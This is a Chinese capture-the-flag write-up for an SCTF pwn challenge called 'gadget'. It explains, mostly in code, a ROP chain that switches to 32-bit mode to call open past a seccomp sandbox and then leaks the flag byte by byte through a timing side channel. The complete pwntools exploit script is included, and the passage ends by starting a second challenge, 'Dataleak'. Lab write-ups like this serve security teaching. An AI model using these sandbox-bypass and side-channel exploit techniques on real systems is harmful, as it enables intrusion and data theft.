SCTF复现 gadget 一个静态编译的文件
本来看到静态编译想到的是直接使用pwntools的工具,但是实际上文件是开了沙盒的,这里只有read,alarm和fstat函数能被系统调用。
但是仔细看看在x86下open函数的系统调用就是5,这样的话,我们可以先转换到32位执行open之后再回到64位执行read,最后再通过测信道攻击获取flag。
首先先在程序内写下flag的路径,为了后边可以调用open函数,
'''################################ 调用read函数写flag路径 ################################''' payload1 =b'a' *stack_offset payload1+=p64(pop_rax) payload1+=p64(0 ) payload1+=p64(pop_rdi_rbp) payload1+=p64(0 ) payload1+=p64(fake_stack) payload1+=p64(pop_rsi_r15_rbp) payload1+=p64(flag_path) payload1+=p64(0 ) payload1+=p64(fake_stack) payload1+=p64(pop_r12_pop_r14_pop_r15_pop_rbp) payload1+=p64(0x300 ) payload1+=p64(syscall) payload1+=p64(0 ) payload1+=p64(fake_stack) payload1+=p64(mov_rdx_r12_call_r14) payload1+=p64(pop_rsp_pop_r14_pop_r15_pop_rbp) payload1+=p64(fake_stack) sn(io,payload1)
接下来通过retf转化为32位然后调用open
'''################ 在32位下调用open函数 ################''' payload2 =b'./flag' .ljust(0x10 ,b'\x00' ) payload2+=p64(syscall) payload2+=p64(0 ) payload2+=p64(fake_stack) payload2+=p64(pop_rcx) payload2+=p64(0 ) payload2+=p64(pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp) payload2+=p64(flag_path) payload2+=p64(0x300 ) payload2+=p64(syscall) payload2+=p64(0 ) payload2+=p64(fake_stack) payload2+=p64(pop_rax) payload2+=p64(5 ) payload2+=p64(retf) payload2+=p32(int_80) payload2+=p32(0x23 )
然后再返回64位通过read函数来写flag到bss段
'''################################ 返回64位调用read函数写flag到bss一区域 ################################''' payload2+=p32(retf) payload2+=p32(pop_rdi_rbp) payload2+=p32(0x33 ) payload2+=p64(3 ) payload2+=p64(fake_stack) payload2+=p64(pop_rsi_r15_rbp) payload2+=p64(read_flag_addr) payload2+=p64(0 ) payload2+=p64(fake_stack) payload2+=p64(pop_rax) payload2+=p64(0 ) payload2+=p64(syscall) payload2+=p64(0 )
在此之前的都很简单,困难的是这么测信道攻击,首先我们要知道要进行测信道攻击的话得先找到一个loop指令,这样当我们找到flag对应的字符后可以调转到此死循环中。
这里我采取的方法是将rax填入jmp rax的地址再调整到jmp rax处从而达到死循环的要求
那么剩下的条件就只有一个可以判断我们字符的指令了
我们搜索sub和ret
发现有这样一条指令那么只需要搭配jne指令就可以做到我们想要的结果,唯一麻烦的就是得控制写入地址,但是也不算是特别困难的事情。
'''################################# 测信道攻击 #################################''' payload2+=p64(pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp) payload2+=p64(rbx_need) payload2+=p64(0 )*4 payload2+=p64(sub_rbx_0x41_bl_pop_rsi_pop_r15_pop_rbp_ret) payload2+=p64(0 )*3 payload2+=p64(jne_ret) payload2+=p64(pop_rax) payload2+=p64(jmp_rax) payload2+=p64(jmp_rax)
最终exp:
from pwn import *context.timeout=3 context.arch = 'amd64' context.binary = elf = ELF("./gadget" ) ru = lambda p, x : p.recvuntil(x) sn = lambda p, x : p.send(x) rl = lambda p : p.recvline() sl = lambda p, x : p.sendline(x) rv = lambda p, x=1024 : p.recv(numb = x) sa = lambda p, a, b : p.sendafter(a,b) sla = lambda p, a, b : p.sendlineafter(a,b) rr = lambda p, t : p.recvrepeat(t) rd = lambda p, x : p.recvuntil(x, drop=True ) io=process('./gadget' ) stack_offset=56 retf = 0x4011ed syscall=0x401165 int_80=0x4011f3 pop_rax = 0x401001 pop_rdi_rbp = 0x401734 pop_rsi_r15_rbp = 0x401732 pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp = 0x40172e pop_r12_pop_r14_pop_r15_pop_rbp = 0x40172f pop_rsp_pop_r14_pop_r15_pop_rbp = 0x401730 mov_rdx_r12_call_r14 = 0x402c07 pop_rcx = 0x40117b jne_ret = 0x408853 sub_rbx_0x41_bl_pop_rsi_pop_r15_pop_rbp_ret = 0x403f14 jmp_rax = 0X40107e ret = 0x401002 bss_addr=elf.get_section_by_name('.bss' ).header.sh_addr fake_stack=(bss_addr & 0xfffffffffffff000 ) + 0xD00 flag_path=fake_stack-0x10 flag_addr_base=fake_stack - 0x200 flag="" def exp (io,off,cha ): rbx_need=flag_addr_base+cha read_flag_addr=rbx_need+0x41 -off '''################################ 调用read函数写flag路径 ################################''' payload1 =b'a' *stack_offset payload1+=p64(pop_rax) payload1+=p64(0 ) payload1+=p64(pop_rdi_rbp) payload1+=p64(0 ) payload1+=p64(fake_stack) payload1+=p64(pop_rsi_r15_rbp) payload1+=p64(flag_path) payload1+=p64(0 ) payload1+=p64(fake_stack) payload1+=p64(pop_r12_pop_r14_pop_r15_pop_rbp) payload1+=p64(0x300 ) payload1+=p64(syscall) payload1+=p64(0 ) payload1+=p64(fake_stack) payload1+=p64(mov_rdx_r12_call_r14) payload1+=p64(pop_rsp_pop_r14_pop_r15_pop_rbp) payload1+=p64(fake_stack) sn(io,payload1) '''################ 在32位下调用open函数 ################''' payload2 =b'./flag' .ljust(0x10 ,b'\x00' ) payload2+=p64(syscall) payload2+=p64(0 ) payload2+=p64(fake_stack) payload2+=p64(pop_rcx) payload2+=p64(0 ) payload2+=p64(pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp) payload2+=p64(flag_path) payload2+=p64(0x300 ) payload2+=p64(syscall) payload2+=p64(0 ) payload2+=p64(fake_stack) payload2+=p64(pop_rax) payload2+=p64(5 ) payload2+=p64(retf) payload2+=p32(int_80) payload2+=p32(0x23 ) '''################################ 返回64位调用read函数写flag到bss一区域 ################################''' payload2+=p32(retf) payload2+=p32(pop_rdi_rbp) payload2+=p32(0x33 ) payload2+=p64(3 ) payload2+=p64(fake_stack) payload2+=p64(pop_rsi_r15_rbp) payload2+=p64(read_flag_addr) payload2+=p64(0 ) payload2+=p64(fake_stack) payload2+=p64(pop_rax) payload2+=p64(0 ) payload2+=p64(syscall) payload2+=p64(0 ) '''################################# 测信道攻击 #################################''' payload2+=p64(pop_rbx_pop_r12_pop_r14_pop_r15_pop_rbp) payload2+=p64(rbx_need) payload2+=p64(0 )*4 payload2+=p64(sub_rbx_0x41_bl_pop_rsi_pop_r15_pop_rbp_ret) payload2+=p64(0 )*3 payload2+=p64(jne_ret) payload2+=p64(pop_rax) payload2+=p64(jmp_rax) payload2+=p64(jmp_rax) sl(io,payload2) io.recv() if __name__=="__main__" : for off in range (0 ,128 ): strl="现在是第" +str (off)+"位" print (strl) for cha in range (0x20 ,127 ): io=process('./gadget' ) try : exp(io,off,cha) flag=flag+chr (cha) print ("flag:" +flag) if chr (cha)=='}' : pause() io.close() break except : io.close() continue
Dataleak 我们可以看到这里的v6里储存的是我们想要的flag。我们只需要想办法将其泄露出来就好了。
可以看到这里是有打印函数,但是打印的范围是小于v5的内存大小的,就算v5没有截止符,这里也是没办法泄露出flag的。
那么可能有问题的地方就在write之前调用的函数了